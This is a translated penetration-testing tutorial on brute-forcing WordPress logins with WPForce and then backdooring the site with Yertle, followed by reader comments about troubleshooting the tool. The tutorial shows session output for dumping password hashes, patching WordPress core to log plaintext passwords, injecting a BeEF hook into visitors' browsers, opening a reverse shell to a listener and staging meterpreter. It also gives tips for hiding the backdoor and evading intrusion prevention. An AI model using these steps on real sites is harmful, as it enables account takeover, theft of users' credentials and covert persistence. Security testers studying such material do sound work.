Брут-форс и эксплуатация скомпрометированных WordPress
Источник: https://www.n00py.io/2017/03/squeezing-the-juice-out-of-a-compromised-wordpress-server/
Во время курса тестирования на проникновение, вы можете споткнуться о веб-сервер с WordPress. WordPress является крайне популярной системой правления контентом. Она работает на PHP, обычно поверх LAMP стека. Хотя большинство серверов WordPress имеют надёжные пароли и безопасные плагины, во внутренних сетях это редкость. По этим причинам атакующий часто может найти уязвимости в устаревших версиях программного обеспечения или ещё проще, угадать пароль администратора. Узнав пароль, вы можете сделать различные вещи для вклинивания в другие системы. Кроме повышения привилегий, вы можете использовать сам WordPress для запуска ряда других атак в отношении клиентов.
Самым популярным инструментом для анализа WordPress является WPScan. Он способен найти уязвимые версии плагинов, тем и самого WordPress. Новый инструмент WPForce основывает свою работу на других принципах. WPForce выполняет брут-форс аутентификации WordPress не через форму входа, а использует вызовы API аутентификации для тестирования верности учётных данных. Это позволяет обойти некоторые защиты формы входа WordPress, по сравнению с другими программами, WPForce чуть менее заметен.
После удачного подбора учётных данных, скрипт-компаньон из набора WPForce – Yertle – может использоваться для выгрузки бэкдора на сервер с WordPress и выполнить ряд атак с применением модулей последующей эксплуатации.
Запуск Yertle сравнительно простой. Просто укажите URL, имя пользователя, пароль и тип бэкдора, я предпочитаю --interactive для интерактивного доступа.
После запуска скрипта, инструмент залогинется на сайт WordPress и выгрузит на него плагин. В любое время, когда вы захотите снова получить доступ к бэкдору, просто укажите аргумент -e с именем директории выгрузки. Плагин будет принимать команды наподобие оболочки SQLmap. Для просмотра доступных модулей, вы можете набрать “help” или “?”.
Основные команды ============= Команда Описание ------- ----------- ? Справка beef Внедрить BeEF крюк в веб-сайт exit Завершение сеанса hashdump Сдампить все хеши паролей WordPress help Справка keylogger Патчит ядро WordPress для записи учётных данных в открытом виде keylog Показывает файл с захваченными паролями meterpreter Выполняет PHP meterpreter stager для подключения metasploit quit Завершение сеанса shell Отправляет обратный TCP шелл на прослушивальщик netcat stealth Прячет Yertle со страницы плагинов
Одним из полезных модулей последующей эксплуатации, который вы можете запустить, является hashdump. hashdump зайдёт в SQL базу, запросит таблицу, содержащую хеши паролей и вернёт их в вывод. Затем вы можете взломать эти хеши и начать пробовать использовать эти учётные данные для продвижения буквально в другие системы.
os-shell> hashdump ID: 1 - Username: admin Password: $P$BAgwF1u99OZU1iqTgTIrUmBbtIjRMu1 Email: Quaoar@localhost.com ID: 2 - Username: wpuser Password: $P$BdcZZVb0ssMccLU1ECFCtUihocqQ0S. Email: wpuser@localhost.com ID: 3 - Username: n00py Password: $P$B0mYQT38IOJtOr/nl4dchdqgCrxsG/. Email: n00py@protonmail.com os-shell>
Мы можем собирать не только хеши, но мы можем также собрать учётные данные в виде простого текста. Это достигается пропатчиванием PHP файла внутри ядра WordPress. Это позволяет записывать все пароли в простом тексте в тот момент, когда пользователи вводят их для аутентификации.
os-shell> keylogger This module modifies files within the WordPress core. Would you like to continue? (Y/n) Y wp_signon function patched. Do not run this more than once. Use 'keylog' to check the log file. os-shell>
Перевод:
Этот модуль модифицирует файлы внутри ядра WordPress. Хотите продолжить? Введите Y для «Да».
Функция wp_signon пропатчена. Не запускайте это более одного раза. Используйте 'keylog' для проверки файла журнала.
После предупреждения, позволяющего пользователю узнать о модификациях, которые будут сделаны в ядре WordPress, будет пропатчена функция аутентификации.
Нужно дождаться, когда пользователи вновь залогинятся (именно введут свои учётные данные, а не просто зайдут на сайт), а затем просмотреть файл журнала, это можно сделать набрав команду “keylog”. Она выведет учётные данные в виде простого текста.
os-shell> keylog 2017-03-30 - Username: && Password: 2017-03-30 - Username: n00py && Password: thisisalsomynetworkpassword
Отойдём от сбора учётных данных, но останемся в сфере клиентских атак. Мы можем внедрить в сайт крюк BeEF. Это позволит атакующему запускать произвольный JavaScript у пользователей, находящихся на сайта.
os-shell> beef This module modifies files within the WordPress core. Would you like to continue? (Y/n) Y IP Address: 10.0.1.16 BeEF hook added! Check BeEF for any hooked clients. Do not run this multiple times.
Перевод:
Этот модуль модифицирует файлы внутри ядра WordPress. Вы хотите продолжить? (введите Y для «Да»)
IP адрес (введите IP адрес компьютера с запущенным BeEF): 10.0.1.16
BeEF добавлен! Проверьте BeEF на наличие подцепленных клиентов. Не запускайте это несколько раз.
После внедрения крюка, мы просто ждём, пока на сайте появятся пользователи. Когда пользователи открыли сайт, они становятся «подцепленными». В это время мы можем отправлять любую нагрузку JavaScript какую мы хотим. BeEF содержит большое количество атак, которые мы можем запустить в отношении клиента.
Демонстрация полезной нагрузки, выполняемой в клиентском браузере:
Вы можете также использовать другой тип оболочки. Для этого доступны две опции: обычный обратный TCP шелл и оболочка PHP meterpreter. Чтобы перейти на полностью интерактивную оболочку, просто запустите:
os-shell> shell IP Address: 10.0.1.4 Port: 8080 Sending reverse shell to 10.0.1.4 port 8080 os-shell>
И прослушивайте выбранный порт для получения шелла:
root@Kali:~/WPForce$ nc -l 8080 bash: no job control in this shell www-data@Quaoar:/var/www/wordpress/wp-content/plugins/aekpmsu$
Если вы хотите иметь шелл meterpreter, загрузите metasploit и запустите:
os-shell> meterpreter IP Address: 10.0.1.4 Port: 4444 Sending meterpreter stager to connect back to 10.0.1.4:4444 os-shell>
И вы получите внутри metasploit оболочку meterpreter:
[*] Started reverse handler on 10.0.1.4:4444 [*] Starting the payload handler... [*] Sending stage (33068 bytes) to 10.0.1.21 [*] Meterpreter session 1 opened (10.0.1.4:4444 -> 10.0.1.21:60763) at 2017-03-29 20:49:16 -0600
Наконец, есть пара способов быть более незаметным при использовании этого инструмента. По умолчанию, модуль регистрирует себя как плагин WordPress и этот плагин виден администратору.
Для удаления бэкдора из видимых плагинов, просто запустите команду “stealth”. Бэкдор всё равно будет доступен, его просто не будет видно внутри пользовательского интерфейса.
os-shell> stealth
Также важно упомянуть, что в качестве пользовательского агента Yertle по умолчанию отправляет “Yertle backdoor uploader”. В реальных условиях это значение следует переписать с помощью флага -a. Поскольку по опытам замечено, что с таким User Agent немедленно блокируется IP, если веб-сервер использует IPS (систему предотвращения вторжений).
Связанные статьи:
- Инструкция по использованию Weevely: инструмента веб-мастера и пентестера (57.8%)
- Как пользоваться netcat (nc), ncat (55.3%)
- Как скачать файл с сервера (55.3%)
- Где скачать вирусы с исходным кодом для анализа (54.1%)
- Скрытое управление компьютером на Windows (используя Metasploit) (54.1%)
- Как узнать, сайт за CloudFlare или нет (RANDOM - 6.4%)
Хорошая статья для ознакомления. Теперь буду защищать свой сайт.
stealth не работает. смысла в бэкдоре, который сам себя называет бэкдором очень мало.
Злравствуйте. Вот такой вывод получаю после запуска "zsh: killed python2 wpforce.py -i users.txt -w pswd-4-8-dig.txt -u http://blabla.com/" это значит что пароль не найден, или что то не сработало в программе?
Спасибо
Приветствую!
Статье, как и инструменту про который вы спрашиваете, уже 4 года (программа заброшена). За это время Python 2 был удалён из Kali Linux. Ну, то есть, не совсем удалён — удалены почти все модули и только некоторые из них присутствуют в пакете offsec-awae-python2. Подробности смотрите здесь.
С помощью pyenv можно использовать любые версии Python, в том числе и устаревшие, подробности смотрите в разделе «Использование Python 2 в Kali».
Злравствуйтею Спасибо за ответ и ссылку. Статья действительно была полезна. Мне кажется это странным, тк я все установил, по инструкциям, вывод получл как на скриншоте,
$ python Python 2.7.18 (default, Apr 20 2020, 20:30:41)
[GCC 9.3.0] on linux2
но результат тот же. еще в процессе установки wpforce, при вводе первой команды,
sudo
pip2
install
requests, я получаю вывод
sudo: pip2: command not found, я пробуюsudo
pip
install
requests
, без 2, просто pip, но тогда получаю Requirement already satisfied: requests in /usr/lib/python3/dist-packages (2.25.1) Может дело в том, что 2 питон я установил, но не все зависимости для wpforce установлены? Тогда как мне выполнитьsudo
pip2
install
requests ? Или я что то снова не так понял?
Спасибо.
Ок, я нашел способ установить pip для питон2,
curl https://bootstrap.pypa.io/get-pip.py --output get-pip.py
sudo python2 get-pip.py
pip2 --version выдает pip 19.2.3 from /home/user0/.pyenv/versions/2.7.18/lib/python2.7/site-packages/pip (python 2.7)
переключил на пайтон 2 pyenv, установил зависимости из статьи про установку wpforce
sudo
pip2
install
requests
теперь все установилось, все работает но результат тот же -
zsh: killed python2 wpforce.py -i users.txt -w pswd-4-8-dig.txt -u http://123123.com/
может из за того что виртуальная машина, что то с портами или хз…? я что то не знаю куда больше копать 🙂
Первая явная ошибка: вы устанавливаете зависимости для пользователя root, а запускаете скрипт от обычного пользователя.
То есть вместо
нужно было запустить
В этом случае установка pip2 не потребовалась бы вовсе, поскольку мы включили Python 2 для текущего пользователя, а в нём pip2 уже есть.
Да, я знаю, что на Kali.Tools команда написана с sudo, но там уже нужно не исправлять, а удалять карточку этой программы.
Далее. Раньше в Kali Linux было установлено множество модулей Python 2 и мы устанавливаем только недостающий requests. Теперь в Kali Linux нет ни одного модуля Python 2 и нужно установить все зависимости программы.
В исходном коде wpforce.py делается импорт модулей:
Я не программирую на Python и не знаю, что именно из этого является встроенными модулями, а что отдельными модулями, которые нужно устанавливать, методом тыка я нашёл ещё два для установки:
После этого у меня вроде заработало, хотя для некоторых сайтов показывались сообщения:
ИМХО, WordPress активно развивается, а эта программа заброшена. На мой взгляд, лучше поискать актуальные альтернативы.
Спасибо большое за ваши ответы. Может и не актуально, но все же интересно попробовать для личного развития 🙂 обязательно попробую исправить ошибки на которые вы указали. Кстати сказать, если кому то нужно, то на Parrot эта штука работает без проблем и сразу. правда как то очень медлено. Ну это наверное из за виртуалки.
Когда дело касается онлайн брут-форса, то он может быть ограничен скоростью ответа сайта и/или защитами от слишком большого числа попыток ввода пароля.
Ясно. Дело еще в том, что я не могу найти альтернатив по современне для брута вп. может что то посоветуете?
Ничего свежее я не нашёл, вот список, но там ещё более старые инструменты:
Если цель — атаковать через файл xmlrpc.php (статья «Что такое файл xmlrpc.php и как он влияет на безопасность сайтов WordPress»), то если принципы работы этого файла не изменились, то какой-то из этих инструментов всё таки должен заработать. Хотя если мне не изменяет память, я где-то читал, что в этот файл наконец-то встроили защиту от быстрого перебора паролей.
Если же цель подбор пароля пользователя (необязательно через эксплуатацию файла xmlrpc.php), то брут-форс WordPress — это брут-форс веб-формы сайтов. Подробности посмотрите в статьях: